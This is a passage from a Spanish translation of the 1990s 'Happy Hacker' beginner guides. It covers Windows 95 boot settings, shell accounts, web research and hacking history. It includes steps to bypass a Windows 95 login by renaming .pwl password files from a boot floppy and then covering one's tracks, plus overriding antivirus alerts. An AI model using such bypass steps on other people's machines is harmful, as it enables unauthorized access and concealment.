Paso tercero: Abre msdos.sys en WordPad. Para ello, puedes ir al Explorador de Windows, buscar el archivo msdos.sys de nuevo y hacer un clic sobre él para marcarlo. Escoge luego la opción "Abrir con.." del menú desplegable "Archivo", y selecciona WordPad de la lista de programas que se te presentará, además de marcar la opción "Utilizar siempre este programa para abrir este tipo de archivo". Es muy importante seleccionar WordPad y no Bloc de Notas o cualquier otro procesador de texto. Finalmente, haz doble clic sobre el archivo msdos.sys.

Paso cuarto: Estamos listos para la edición. En pantalla tendrás el WordPad con el archivo msdos.sys en él, viendo algo parecido a esto:

[Paths]
WinDir=C:\WINDOWS
WinBootDir=C:\WINDOWS
HostWinBootDrv=C

[Options]
BootGUI=1
Network=1
;
;The following lines are required for compatibility with
other programs.
;Do not remove them (MSDOS>SYS needs to be >1024 bytes).
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
.
.
.

Para deshabilitar las teclas de función durante el arranque, has de insertar la orden "BootKeys=0" justo debajo de [Options]. También puedes deshabilitarlas insertando la orden BootDelay=0. Puedes liar verdaderamente a tus fisgones amigos hackers poniendo ambas órdenes y confiando en que no conozcan la orden BootDelay. Para terminar, guarda el archivo msdos.sys.

Paso quinto: como el archivo msdos.sys es totalmente esencial para tu sistema, mejor vuélvelo a poner protegido contra escritura, como estaba en un principio. Para ello, haz clic sobre Mi PC, luego Explorador, luego clic sobre el icono de tu disco de arranque (normalmente C:), y luego buscar el archivo "msdos.sys" bajando por el lado derecho de la pantalla. Haz clic en msdos.sys para marcarlo, luego clic con el botón derecho y selecciona la opción "Propiedades". Esto nos llevará a la pantalla donde estaban los cuadros de "sólo lectura" y "oculto". Activa el de "sólo lectura".

Paso sexto: *Tienes* un antivirus, ¿no?. Nunca sabes lo que te pueden hacer los amigos mientras no estás. Y en el siguiente arranque el antiviurs va a detectar que msdos.sys ha cambiado. Asumirá que algo va mal e intentará volver a dejar el archivo msdos.sys tal y como estaba antes de tu modificación. Es necesario evitar que haga esto. Yo suelo usar Norton Antivirus, y con él tan sólo he de escoger la opción "inocular" en la pantalla de alerta de posible virus.

Sistema complicado para editar tu archivo msdos.sys (o el de otra persona).


Paso cero: Es una práctica muy util emplear DOS para ejecutar comandos en estos tiempos en que Windows NT se está adueñando de redes locales y servidores web. Pon un disco de arranque de Windows 95 en la disquetera y reinicia. Esto te proporcionará un prompt DOS.

Paso primero: habilita para escritura el archivo msdos.sys ejecutando la orden "attrib -h -r -s c:\msdos.sys" (asumiendo qque c: es el disco de arranque)

Paso segundo: lanza el comando "edit msdos.sys". El archivo será cargado en un procesador de textos.

Paso tercero: utiliza el programa edit para realizar los cambios en el archivo msdos.sys. Guárdalo y sal del programa.

Paso cuarto: en el prompt del sistema, ejecuta la orden "attrib +r +h +s c:\msdos.sys" para devolver al archivo su estado de sólo lectura, oculto y archivo de sistema.

Bien, ahora tienes deshabilitadas las teclas de arranque en tu ordenador. ¿Quiere decir que nadie puede entrar en él?. Lo sentimos, pero el método no es tan bueno.

Como habrás podido deducir de la parte "Sistema complicado para editar tu archivo msdos.sys", la siguiente opción para saltarte las protecciones de Windows 95 es usar un disquete de arranque.

Cómo entrar en una máquina Windows 95 empleando un disquete de arranque:


Paso primero: apagar tu ordenador.

Paso segundo: poner un disquete de arranque en la disquetera.

Paso tercero: arrancar.

Paso cuarto: en el prompt del sistema, ejecutar la orden "rename c:\windows\*.pwl c:\windows\*.zzz"

Paso quinto: arrancar de nuevo normalmente. Podrás introducir cualquier o ningúna contraseña cuando el sistema te pida una al arrancar.

Paso sexto: cubre tus huellas volviendo a renombrar los archivos a *.pwl.

¡Uau, es tan sencillo!. ¿Qué es lo que puedes hacer si quieres mantener a tus traviesos amigos lejos de tu ordenador Windows 95?. Bueno, puedes emplear un pequeño truco. Es un truco que se emplea en las redes locales donde el administrador no desea tener que pelearse con usuarios que se hacen travesuras unos a otros en sus ordenadores. La respuesta, aunque no una buena respuesta, es el emplear una contraseña de CMOS.

 

 

Hacking con Windows 3.x, 95 y NT


(Sí, esta lección también funcionará con Windows 98. Cuando fue escrita todavía no existía Win 98.)

Esta lección te contará cómo, armado incluso con el servicio de Internet más imperfecto, como puede ser America Online (AOL), y el sistema operativo Windows 95 puedes practicar algo de hacking en Internet de forma seria - ¡hoy mismo!

En esta lección aprenderemos cómo:




Sí, puedo oir la risa de Jericho, Rogue Agent y todos los otros hackers de primera. Me apuesto algo a que ya han dejado de leer esto y me están bombardeando el correo y se están cachondeando en sus reuniones del 2600. ¿Hacking con Windows? ¡Venga ya!

Díles a unos hackers curtidos que usas Windows y se reirán de ti. Te dirán que te largues y que no vuelvas hasta que tengas una cuenta Shell o algún tipo de UNIX en tu PC. De hecho, yo he compartido su opinión durante mucho tiempo. Vamos, que la mayoría del hacking con Windows es como usar un Wolkswagen del 69 para competir con un Dragster de ésos que tienen inyectores de alta tecnología...

Pero hay una buena razón para aprender a practicar hacking desde Windows. Algunas de las mejores herramientas para sondear y manipular redes basadas en Windows sólo se encuentran en Windows NT. Y lo que es más: con Windows 95 puedes aprender a modificar el Registro, algo fundamental para trabajar con servidores Windows NT y las redes que éstos administran.

De hecho, si quieres convertirte en un hacker serio, llegado el momento tendrás que aprender Windows. Esto es así por que Windows NT está imponiéndose rápidamente en Internet por encima de Unix. Un informe de la IDC prevé que la cuota de mercado de servidores web basados en Unix caerá del 65% en 1995 a tan solo un 25% por el año 2000. La cuota de Windows NT se prevé que crezca hasta alcanzar un 32%, mientras que se ve un oscuro porvenir para los servidores Unix, ya que según el informe IDC la cuota de mercado de los sistemas Unix está descendiendo a una tasa anual del 17% en el futuro inmediato, mientras que Windows NT está creciendo en su cuota de mercado en un 20% anual. (Mark Winther, "The Global Market for Public and Private Internet Server Software," IDC #11202, abril de 1996, 10, 11.)

Así que si quieres mantener al día tus habilidades como pirata informático vas a tener que aprender a manejarte con Windows. Uno de estos días nos reiremos de esos hackers que sólo saben Unix.

Además, incluso el pobre Windows 95 puede sacar partido de muchas herramientas gratuitas hackers que le otorgan buena parte del poder de Unix.

Y dado que esta es una lección para principiantes, iremos derechos a la Gran Pregunta: "Todo lo que tengo es una máquina con Windows 95 y una cuenta con AOL ¿Aún así, puedo aprender hacking?"

¡Sí, sí, sí!

(Lo siento, hoy en día si tienes una cuenta con AOL, la respuesta es NO. Ahora AOL ya no da un verdadero acceso a Internet. Si realmente quieres practicar hacking con AOL, hay un truco que funcionó la última vez que lo probé. Hay que reformatear el disco duro para asegurarse de que te libras de todas las cosas feas que las conexiones modernas de AOL te esconden, e instalar una versión antigua de acceso a AOL desde un disquete. Esas versiones sí que te proporcionan un acceso real a Internet).

El secreto para practicar hacking desde AOL con Windows 95/98, o desde cualquier servicio que te dé acceso a la World Wide Web, está en el MS-DOS secreto (DOS 7.0).

DOS 7.0 ofrece varias herramientas de Internet, ninguna de las cuales está documentada ni en la ayuda estándar de Windows ni en la del DOS. Pero ahora tienes la oportunidad de aprender esas características escondidas, hoy mismo.

Así que para empezar con la lección de hoy, utiliza AOL o cualquier proveedor de Internet que tengas y usa tu conexión habitual para acceder a la Web (será una conexión PPP o SLIP). Minimiza tu navegador ¡y prepárate para el hacking! A continuación, ejecuta una ventana DOS (Haz click en Inicio - Programas - MS-DOS).

Para mayor comodidad, he encontrado más sencillo utilizar DOS en una ventana con una barra de tareas que me permita cortar y pegar órdenes y conmutar fácilmente entre programas Windows y DOS. Si tu DOS salta a pantalla completa mantén apretada la tecla Alt mientras pulsas Enter, y se convertirá en un ventana. Si te falta la barra de tareas, haz click en el pequeño icono a la izquierda del título de la ventana y selecciona "Barra de herramientas".

 


CÓMO CONSEGUIR UNA
BUENA CUENTA SHELL


En esta Guía aprenderás cómo:

(Cuando escribí esto, era relativamente fácil conseguir una cuenta shell. Hoy es casi imposible. Esto se debe a que es fácil realizar hacking destructivo desde una cuenta shell. Si te resulta imposible conseguir una buena cuenta shell, instala algún tipo de Unix en tu ordenador de casa y usa las cuenta shell de tu propio ordenador. Linux es el mas fácil de instalar. Además, la gente sigue escribiéndome para quejarse de que las cuentas shell gratuitas no les permiten hacer nada. Bien, adivina por qué son gratuitas. Sin embargo, si puedes conseguir una cuenta shell de un ISP, es más divertida que la de tu ordenador personal, porque podrás conocer a otros hackers en el servidor de la cuenta shell; ejecuta la orden "w" o "who" para ver quién está conectado, y puedes usar la orden "talk nombre_de_usuario>" para hablar con el usuario que quieras).

Has modificado Windows para arrancar con un vistoso logotipo de hacker. Has cambiado el nombre de la Papelera de Reciclaje por "Secretos hackers ocultos". Al usar Netscape o Internet Explorer, en lugar del aburrido logotipo corporativo, hay un Mozilla animado a todo color destruyendo Nueva York. Tus amigos y vecinos están aterrorizados e impresionados.

Pero en el fondo sabes que Windows es despreciado por los hackers de la élite. Has visto que sus terribles exploits usan Unix como sistema operativo. Te has dado cuenta de que cuando se trata de redes de ordenadores, Unix es el sistema operativo más poderoso del planeta. Ha crecido en ti un ardiente deseo de convertirte en un mago de Unix. Sí, estás listo para el siguiente paso.

Estás preparado para una cuenta shell. ¡¡¡¡UNA CUENTA SHELL!!!!


Nota para principiantes: Un cuenta shell te permite usar tu ordenador como un terminal en el que puedes dar órdenes a un servidor Unix. La "shell" es el programa que transforma las pulsaciones del teclado en órdenes Unix. Con la cuenta shell adecuada puedes disfrutar del uso de una estación de trabajo mucho más poderosa de lo que jamás habrías soñado poder tener. Es además un gran paso que te prepara para cuando tengas algún tipo de Unix en tu ordenador.


Hace tiempo, la vía mas común para entrar en Internet era a través de una cuenta shell en Unix. Pero actualmente todo el mundo, hasta tus hermanos, está en Internet. Casi todos estos enjambres de usuarios sólo quieren dos cosas: Web y correo electrónico. Para ver las bonitas imágenes de la Web de hoy en día, los usuarios medios de Internet quieren una simple cuenta PPP (punto a punto) para conectarse. No reconocerían una orden Unix aunque se dieran de bruces con ella. Así que hoy en día casi los únicos que quieren cuentas shell somos nosotros, los aspirantes a hackers.

El problema es que antes simplemente llamabas al ISP, decías: "querría una cuenta shell," y te la daban sin más. Pero ahora, especialmente si tu voz suena a la de un joven adolescente, oirás algo similar a esto:

ISP: "¿Quiere una cuenta shell? ¿Para qué?".

El hacker: "Um, bien, Me gusta Unix".

ISP: "Le gusta Unix, ¿eh? ¡Usted es un hacker!"

Bam, el tipo del ISP te cuelga el teléfono.

Entonces, ¿cómo puedes conseguir una buena cuenta shell? En realidad, es posible que tengas una y no lo sepas. Así que primero debemos responder a la pregunta, ¿cómo saber si tienes una cuenta shell? Y si después estás seguro de que no la tienes, estudiaremos las múltiples formas de conseguirla, no importa el cómo ni el lugar.

 

CÓMO CONSEGUIR UNA
BUENA CUENTA SHELL


En esta sección aprenderás:




Cómo explorar tu cuenta shell


Así que estás en tu cuenta shell. Has probado el comando "ls -alF" y estás bien seguro de que tiienes una cuenta shell. ¿Qué hacer ahora?

Una buena forma de empezar es averiguar qué tipo de cuenta shell tienes. Hay muchas cuentas shell; cada una de ellas tiene leves diferencias en su forma de trabajar. Para hacer esto, en tu línea de órdenes introduce echo $SHELL. Asegúrate de escribirlo como está aquí, respetando mayúsculas y minúsculas. Si escribieras ECHO $shell, por ejemplo, la orden no funcionaría.

Si recibes como respuesta:

/bin/sh

significa que tienes la shell Bourne.

Si recibes:

/bin/bash

entonces usas la shell Bourne Again (bash).

Si recibes:

/bin/ksh

es la shell Korn.

Si la orden "echo $SHELL" no funciona, prueba con echo $shell, usando minúsculas en shell. Con esto deberías recibir como respuesta:

/bin/csh

Esto significa que usas la shell C.

¿Por qué es importante saber qué shell tienes? Por ahora, querrás una shell que sea fácil de usar. Por ejemplo, cuando cometes un error al teclear, es bueno poder usar la tecla de retroceso y no ver ^H^H^H en la pantalla. Pero más adelante, para ejecutar exploits de hacker de élite, la shell C puede serte mas útil.

Afortunadamente, puede que no estés obligado a usar siempre la shell que tenías en el momento de realizar el login. Si tu cuenta shell es de cierta calidad, podrás escoger una nueva shell.

Confia en mí, si eres un principiante, la shell que te resultará más fácil de usar será la bash. Deberías obtener la cuenta shell bash simplemente con teclear la palabra "bash" en la línea de órdenes. Si esto no funciona, pregúntale al soporte técnico de tu ISP cómo configurar tu cuenta para usar bash). Un libro excelente sobre el uso de la shell Bash es _Learning the Bash Shell_, de Cameron Newham y Bill Rosenblatt, publicado por O'Reilly.

Si quieres averiguar de qué otras shells dispones, prueba con "csh" para la shell C; "ksh" para la shell Korn, "sh" para la shell Bourne, "tcsh" para la shell Tcsh, y "zsh" para la shell Zsh. Si no dispones de alguna de ellas , cuando introduzcas la orden para entrar en esa cuenta shell recibirás la respuesta "command not found."

Ahora que has escogido tu shell, lo siguiente es explorar, ver de qué riquezas te permite disfrutar tu ISP. Para esto querrás aprender, y me refiero a *realmente aprender* las órdenes Unix y programas auxiliares más importantes. Como yo soy la "Juez suprema" de estas Guías, a mí me toca decidir cuáles son las órdenes más importantes. Hmm, "diez" suena como un número famoso. Así que aquí tienes:

Las Diez herramientas más famosas según Meinel para explorar la cuenta shell

 

 

CÓMO USAR LA WEB PARA BUSCAR INFORMACIÓN SOBRE HACKING


Esta Guía puede ser útil hasta para los Superhackers (¡ay ay, se ve venir un bombardeo de flames!)

¿Quieres ser real y totalmente impopular? Entonces házles demasiadas preguntas equivocadas a tus amigos hackers.

¿Pero cómo podemos saber cuáles son las preguntas equivocadas? Bueno, comprendo vuestros problemas porque a mí también me bombardean con flames cada cierto tiempo. Esto se debe en parte a que, sinceramente, creo en las preguntas tontas. Me gano la vida haciendo preguntas tontas. La gente me paga mucho dinero por acudir a conferencias, por llamar por teléfono y por estar haciendo preguntas tontas en los grupos de noticias de Usenet de modo que pueda averiguar cosas para ellos. Y, adivina qué: a veces las preguntas más idiotas te dan las mejores respuestas. Esta es la razón por la que no me verás insultando a gente que hace preguntas tontas.


Nota para principiantes: ¿Te daba miedo hacerme la pregunta tonta "Qué es un flame"? ¡Ahora lo sabrás! Es un montón de odiosos desvaríos y locuras hechos, por e-mail o mensaje en Usenet, por algún idiota que cree que él o ella está demostrando su superioridad mental a través del uso de un lenguaje sucio y/o mal educado del tipo "sufres una inversión rectocraneal", "Anda a ca***, vete al d****, imbécil de m****" y, por supuesto, "@#$%^&*!". Esta nota para los novatos es mi flame contra esos que los envían y sobre los que estoy muuuyyy por encima.


Pero incluso aunque pueda ser bueno hacer preguntas tontas, a lo mejor no te gustan las palabrotas de esta gente. Así que si los quieres evitar, ¿cómo encontrar las respuestas por ti mismo?

Esta Guía trata sobre una de las formas de encontrar información sobre hacking sin tener que hacer preguntas a personas: navegando por la Web. La otra forma de hacerlo es comprando montones de manuales sobre ordenadores, pero eso cuesta mucho dinero. Además, en algunas partes del mundo es difícil conseguir manuales. Afortunadamente, casi todo lo que quieras aprender sobre ordenadores y comunicaciones está disponible gratuitamente en algún lugar de la Web.

En primer lugar, vamos a ver los motores de búsqueda de la Web. Algunos sólo sirven para buscar en la Web propiamente dicha, pero otros te permiten buscar en los grupos de noticias de Usenet que han sido archivados desde muchos años atrás. También las mejores listas de correo de hackers están archivadas en la Web.

Hay dos consideraciones importantes acerca del uso de los buscadores. La primera es qué buscador utilizaremos y la segunda son las tácticas de búsqueda propiamente dichas.

He usado muchos buscadores, pero finalmente he llegado a la conclusión de que para una investigación seria sólo se necesitan dos: Altavista (http://www.altavista.com) y Dejanews (http://www.dejanews.com).

Altavista es el mejor para la Web, mientras que Dejanews es el mejor para buscar en grupos de noticias de Usenet. Pero si no me crees, puedes ir a una dirección que tiene enlaces a casi todos los buscadores de Web y grupos de noticias en http://sgk.tiac.net/search/

¿Y cómo podemos usar eficientemente estos buscadores? Si les pides que busquen "hacker" o incluso "cómo practicar hacking", te aparecerán montones de direcciones y mensajes de grupos de noticias. Y entonces empiezas a navegar penosamente de un sitio de hackers a otro. Te encuentras con portentosos sonidos de órgano, calaveras de ojos rojos girando, llamas animadas... y cada sitio tiene enlaces a otros sitios con música pretenciosa y arrogantes incorrecciones gramaticales del tipo "¡¡¡sOY eL 31337, TíOs!!! P*&* madre, soy tan bueno hackeando que deberían inclinarse y besarme el c^&$*!". Pero en realidad no tienen nada de información. Eh, ¡bienvenido al mundo de los que querrían ser hackers!

Lo que necesitas saber son algunas palabras que permitirán al buscador que elegiste darte resultados más útiles. Por ejemplo, digamos que quieres averiguar si yo, la SupREmA gObERnaNte del MuNDo de HaPPy hACkEr, soy una hacker de élite o simplemente una impostora. La opción de los PerdEDorEs sería ir a http://www.dejanews.com y hacer una búsqueda en los grupos de noticias de Usenet sobre "Carolyn Meinel", asegurándote de marcar el botón "old" (antiguos) para hacer salir información de años atrás. Pero, si haces esto, lo que obtendrás será esta larga lista de encabezados, de los cuales la mayor parte no tienen nada que ver con el hacking:

CDMA contra GSM - carolyn meinel <cmeinel@unm.edu> 1995/11/17
Re: Octubre El Niño-Oscilación Sureña info gonthier@usgs.gov (Gerard J. Gonthier) 1995/11/20
Re: Internic Guerras MrGlucroft@psu.edu (The Reaver) 1995/11/30
shirkahn@earthlink.net (Christopher Proctor) 1995/12/16
Re: Lyndon LaRouche ¿quién es? lness@ucs.indiana.edu (lester john ness) 1996/01/06
U-B Datos de observación de Indice de Colores - cmeinel@nmia.com (Carolyn P. Meinel) 1996/05/13
Re: ¿Fraude en Marte? Artículo de un científico implicado gksmiley@aol.com (GK Smiley) 1996/08/11
Re: Aviso de Vida en Marte: NINGUN fraude twitch@hub.ofthe.net 1996/08/12
Se busca revista electrónica de ayuda a hackers - rcortes@tuna.hooked.net (Raul Cortes) 1996/12/06
Carolyn Meinel, Súuuuuper Genio - nobody@cypherpunks.ca (John Anonymous MacDonald, remailer 1996/12/12

Y así, la lista sigue y sigue...

Pero si especificas "Carolyn Meinel hacker" y haces un clic en la opción "all" (todo) en lugar de "any" (cualquiera) en el botón "Boolean", obtendrás una lista que comienza con:

Media: "Unamailer causa dolor en Navidad" -Mannella@ipifidpt.difi.unipi.it (Riccardo Mannella) 1996/12/30 Cu Digest, #8.93, Tue 31 Dec 96 - Cu Digest (tk0jut2@mvs.cso.niu.edu) <TK0JUT2@MVS.CSO.NIU.EDU> 1996/12/31 RealAudio entrevista con Happy Hacker - bmcw@redbud.mv.com (Brian S. McWilliams) 1997/01/08 Etc.

De este modo, todos esos mensajes acerca de mi aburrida vida en el mundo de la ciencia no salen, sólo la jugosa información sobre el hacking. Ahora supongamos que todo lo que quieres ver es flames diciendo que como hacker no valgo para nada. Los puedes poner al principio de la lista añadiendo (con el botón "all" seleccionado todavía) "flame" o "p***" o "cu**", deletreando con cuidado esas palabrotas en lugar de esconderlas con asteriscos. Por ejemplo, buscar "Carolyn Meinel hacker flame" con Boolean en posición de "all" nos devuelve un único encabezado. Este importante escrito nos dice que la lista de Happy Hacker es un triste ejemplo de lo que pasa cuando moderadores decorosos como nosotros censuramos palabrotas y necias diatribas.


Nota para el novato: "Boolean" es un término matemático. En el buscador Dejanews piensan que el usuario no tiene ni idea de lo que "Boolean" significa y por eso nos dan la opción de "cualquiera" o "todo" y después lo etiquetan como "Boolean", así que te sientes estúpido si no lo comprendes. Pero en la verdadera álgebra booleana se pueden usar los operadores "y", "o" y "no" en las búsquedas de palabras (o cualquier búsqueda de grupos de palabras). "Y" significa que la búsqueda te devolvería sólo los temas que tengan "todos" los términos mencionados; "O" significa que la búsqueda te devuelve "cualquiera" de los términos. El operador "no" excluiría los temas que se incluyen en el término "no", incluso aunque tengan alguno o todos los otros términos de búsqueda. Altavista tiene álgebra booleana de verdad bajo la opción de búsqueda "avanzada".


Pero dejemos por un minuto de lado todos estos buscadores de la Web. En mi humilde opinión -pasada de moda-, la mejor manera para bbuscar en la Web es hacerlo de la manera en que su inventor, Tim Berners Lee, la imaginó. Comienzas en un buen sitio y, después sigues los enlaces a los sitios relacionados. ¡Qué fácil!

Aquí tienes otro de mis viejos trucos. Si realmente quieres volar por la Web y tienes una cuenta shell, puedes hacerlo con el programa lynx. En la línea de comandos escribes "lynx" seguido por la URL que quieres visitar. Gracias al hecho de que lynx sólo muestra texto, no perderás el tiempo esperando la descarga de la música de órgano, las calaveras animadas y los JPEGs pornográficos.

Entonces, ¿dónde están los buenos puntos de partida? Simplemente navega a las direcciones recogidas al final de esta Guía. No sólo tienen archivos de estas Guías, sino que también tienen muchas otras informaciones valiosas para el hacker novato, además de enlaces a otros sitios de calidad. Mis favoritos son:

http://www.cs.utexas.edu/users/matt/hh.html y http://www.silitoad.org

Atención: Aviso para padres. Encontrarás otros excelentes puntos de partida a lo largo de esta Guía.

Lo siguiente es una de las preguntas más comunes que me llegan: "¿¿¿¿Cómo entro en un ordenador???? :( :("

Si le haces esta pregunta a alguien que no sea una encantadora señora de cierta edad como yo, obtendrás una auténtica reacción grosera. Aquí tienes el por qué: el mundo está lleno de muchos tipos de ordenadores ejecutando muchos tipos de software en muchos tipos de redes. Cómo entrar en un ordenador depende de todos estos factores. Por eso necesitas estudiar en profundidad el sistema de un ordenador antes de que puedas siquiera pensar en una estrategia para entrar en él. Ésta es una de las razones por las que entrar en un ordenador es comúnmente reconocido como la cumbre del hacking. Si no te habías dado cuenta de esto, vas a necesitar hacer muchísimas cosas antes de sólo poder soñar con entrar en ordenadores.

De acuerdo, dejaré de esconder los secretos de la entrada ilegítima a ordenadores universal. Prueba:

Bugtraq archives: http://www.securityfocus.com

NT Bugtraq archives: http://www.ntbugtraq.com


Advertencia de cárcel: si quieres dedicarte al deporte de introducirte en ordenadores, deberías hacerlo o bien con tu propio ordenador o bien conseguir el permiso del propietario, si quieres entrar en el de otra persona. De otro modo, estarás violando la ley. En los Estados Unidos, si te metes en un ordenador que se encuentra al otro lado de una frontera estatal, estás cometiendo un delito federal. Si traspasas las fronteras nacionales para practicar hacking, recuerda que la mayoría de las naciones tienen tratados que permiten la extradicción mutua de delincuentes.


Espera un momento; no es por navegar a esos sitios por lo que te convertirás instantáneamente en un hacker de primera. A menos que ya seas un excelente programador con conocimientos suficientes en Unix o Windows NT, te darás cuenta de que la información de estos sitios NO te garantiza acceso al instante a cualquier ordenador víctima. No es tan fácil. Vas a tener que aprender a programar. Estudiar a fondo al menos un sistema operativo. Por supuesto que alguna gente toma atajos. Tienen aMIgOs que les dan un lote de programas listos para entrar. Después los van probando en un ordenador tras otro hasta que dan con la raíz y accidentalmente borran ficheros del sistema. Después son detenidos y corren a la EFF (Electronic Frontier Foundation) lloriqueando porque los federales les persiguen. Asi que en serio ¿Tienes tantas ganas de ser un hacker que estás dispuesto a estudiar hasta los más mínimos detalles de un sistema operativo? ¿Realmente quieres cambiar tus horas de sueño por temas misteriosos, como protocolos de comunicaciones? El viejo y caro método es comprar y estudiar un montón de manuales. <Modo Novato activado> Mira, yo soy un auténtico creyente de los manuales. Me gasto alrededor de 200 dólares al mes en eso. Los leo en el cuarto de baño, mientras estoy en los atascos y en la sala de espera del médico. Pero si estoy en mi escritorio, prefiero leer manuales y otro tipo de documentos técnicos de la Web. ¡Además, ese material en la Web es gratis! <Modo Novato desactivado>.

El recurso más fantástico de la Web para el aspirante a novato, digo, hacker, son las RFCs. RFC es la abreviatura inglesa de Petición de Comentario. Esto puede sonar a un grupo de discusión pero, en realidad, las RFCs son los documentos fundamentales que nos cuentan cómo funciona Internet. El extraño nombre de "RFC" viene de la historia antigua, cuando muchas personas discutían de qué puñetera manera podían hacer que esa ARPAredecita funcionara. Pero en la actualidad RFC significa "La Verdad Evangélica acerca del Modo en que Internet Funciona" en lugar de "Hey Tíos, Discutámoslo Juntos".


Nota para el novato: ARPAnet era la red de la Agencia para la Investigación Avanzada de Proyectos estadounidense, experimento lanzado en 1969 que evolucionó hasta convertirse en Internet. Cuando lees RFCs, a menudo encuentras referencias a ARPAnet y ARPA -o a veces DARPA-. Esa "D" viene de "Defensa". DARPA/ARPA continúa variando de nombre entre estos dos. Por ejemplo, cuando Bill Clinton llegó a la presidencia de los Estados Unidos en 1993, cambió de nuevo la denominación de DARPA por la de ARPA porque "Defensa" era Algo Malo. Luego, en 1996, el Congreso de los Estados Unidos aprobó una ley que la volvía a denominar DARPA porque la "Defensa" era Algo Bueno.


Ahora, lo ideal sería simplemente leer y memorizar todos las RFCs. Pero hay zillones de RFCs y algunos de nosotros necesitamos algún tiempo para comer y dormir. Por eso, los que no tenemos memoria fotográfica y mucho tiempo libre necesitamos ser selectivos con lo que leemos. Así que, ¿cómo encontrar una RFC que conteste nuestra última pregunta tonta?

Un buen punto de partida es una lista completa con todos las RFCs y sus títulos en: ftp://ftp.tstt.net.tt/pub/inet/rfc/rfc-index>. Aunque es un sitio FTP, puedes acceder con tu navegador.

(Discúlpame, la dirección de arriba ya no existe. Hoy en día se puede encontrar un conjunto de RFCs organizadas con enlacesentre ellas en Connected: An Internet Encyclopedia, http://www.FreeSoft.org/Connected. No puedo siquiera comenzar a explicar lo maravilloso que es este sitio. Sólo hay que ir a probarlo. Otros repertorios de RFCs que permiten búsquedas están en:

http://www.rfc-editor.org/rfc.html
http://www.faqs.org/rfcs/
http://www.pasteur.fr/infosci/RFC/
http://www.normos.org/
http://www.csl.sony.co.jp/rfc/)

¡¿O qué tal la RFC de las RFCs?! Exacto, la RFC 825 "intenta aclarar el estado de las RFCs y proporcionar una guía para los futuros autores de RFCs. En cierto sentido es una especificación de RFCs". Para encontrar esta RFC, o cualquier otra RFC de la que tengamos el número, sólo hay que ir a Altavista y buscar "RFC 825" o cualquiera que sea el número. Asegúrate de ponerlo entre comillas como en este ejemplo para conseguir los mejores resultados.

¡Guau, estas RFCs pueden ser bastante difíciles de comprender! Caray, ¿cómo podemos siquiera saber qué RFC leer para conseguir la respuesta a nuestras preguntas? Adivina qué, hay una solución, un fascinante grupo de RFCs llamado "FYIs". Más que especificar cosas, las FYIs simplemente ayudan a explicar las otros RFCs. ¿Cómo conseguir los FYIs? ¡Fácil! Acabo de ver la RFC sobre las FYIs (1150) y he leído que:

Las FYIs pueden conseguirse via FTP en NIC.DDN.MIL, con el nombre de archivo FYI:mm.TXT, o RFC:RFCnnnn.TXT (donde "mm" se refiere al número de la FYI y "nnn" al número de la RFC). Entra por FTP, nombre de usuario ANONYMOUS y contraseña GUEST. El NIC también nos proporciona un servicio automático de correo electrónico para aquellos sitios que no pueden usar FTP. Envía la petición a SERVICE@NIC.DDN.MIL y en el campo de Asunto del mensaje indica el número de FYI o RFC, algo así: "Asunto: FYI mm" o "Asunto: RFC nnnn".

Pero aún mejor que esto es una colección organizada de RFCs enlazadas entre sí, en http://www.FreeSoft.org/Connected/. No puedo ni siquiera comenzar a explicar los maravilloso que es este sitio. Sólo hay que ir a probarlo. Admito que no se encuentran todos las RFCs, pero tiene un tutorial y un conjunto de enlaces a los RFCs más importantes comprensible por el novato.

Por último, pero no menos importante, puedes echar un vistazo a dos sitios que ofrecen abundante información técnica sobre seguridad informática:

http://csrc.nist.gov/secpubs/rainbow/

http://GANDALF.ISU.EDU/security/security.html

Espero que sea suficiente información para mantenerte ocupado estudiando durante los próximos 5 ó 10 años. Pero no te olvides de lo siguiente. A veces no es fácil averiguar algo leyendo enormes cantidades de información técnica. A veces puedes ahorrarte muchas molestias con sólo hacer una pregunta. Incluso una pregunta tonta. Eh, ¿te gustaría echar un vistazo al sitio Web de aquéllos de nosotros que se ganan la vida haciendo estas preguntas simples? Pásate por http://www.scip.org. Es la página de la Sociedad de Profesionales Competitivos de la Información, la organización donde gente como yo se siente en casa. Adelante, alégrale el día a alguien. DiViéRTetE haciendo esas tontas preguntas. ¡Sólo acuérdate, antes de nada, de poner a prueba de incendios tu teléfono y tu ordenador!

EL HACKING INFORMÁTICO,
¿DÓNDE EMPEZÓ Y CÓMO SE DESARROLLÓ?


Si os preguntáis cómo era en los tiempos de maricastaña, hace diez, veinte, treinta años, ¿qué os parece si dejáis a una señora anciana contaros la manera en que esto funcionaba? ¿Por dónde empezar? ¿Hace 17 años, en la Convención Mundial de Ciencia Ficción en Boston, Massachusetts? Por aquel entonces las Convenciones Mundiales eran lo más parecido que teníamos a las convenciones de hackers.

Pongamos 1980. Ted Nelson está dando vueltas con sus chicos de Xanadú: Roger Gregory, H. Keith Henson (ahora en plena guerra contra los Cienciólogos) y K. Eric Drexler, quien más tarde fundaría el Instituto Foresight. Sueñan con crear lo que se convertiría en la World Wide Web. Hoy en día los chicos de las convenciones de hackers visten como vampiros. En 1980, se ponían gorras de béisbol negras todas iguales, con alas plateadas y el slogan: "Xanadú, alas de la mente". Algunos otros de las Conferencias Mundiales eran un poco más marginales: metidos en drogas, vendiendo masajes, trucando líneas de teléfono con cajas azules... El personal del hotel tiene que cerrar la piscina para evitar las orgías sexuales.

Pero bueno, éste es apenas el inicio del hacking. Observemos el área de Boston otros 17 años más atrás, a principios de los 60. Los estudiantes del MIT están peleando por el control de los grandes ordenadores de la escuela. Utilizan programas en lenguaje máquina que tratan de borrar todos los otros programas y tomar el control de la unidad central de procesamiento. En aquel entonces no había ordenadores personales.

En 1965, Ted Nelson, quien más tarde se convertiría en el líder de la banda de Xanadú con la marca de las alas plateadas en la Worldcon de 1980, acuña la palabra "hipertexto" para describir lo que algún día se convertiría en la World Wide Web. Nelson propaga los fundamentos en su libro Literacy Online. La contraportada muestra a alguien con aspecto de Superman volando y el eslogan "Puedes y debes aprender a utilizar ordenadores ahora".

Pero en 1965 el ordenador es ampliamente temido como una de las fuentes de los poderes orwellianos. Sí, como en la poco alentadora novela de George Orwell, "1984", que predecía un futuro en el que la tecnología aplastaría la libertad humana. Pocos escuchan a Nelson. Pocos ven la ola de anarquía de espíritus libres que la cultura hacker está ya desencadenando. Pero la hija del gurú del LSD, Timothy Leary, Susan, comienza a estudiar programación de ordenadores.

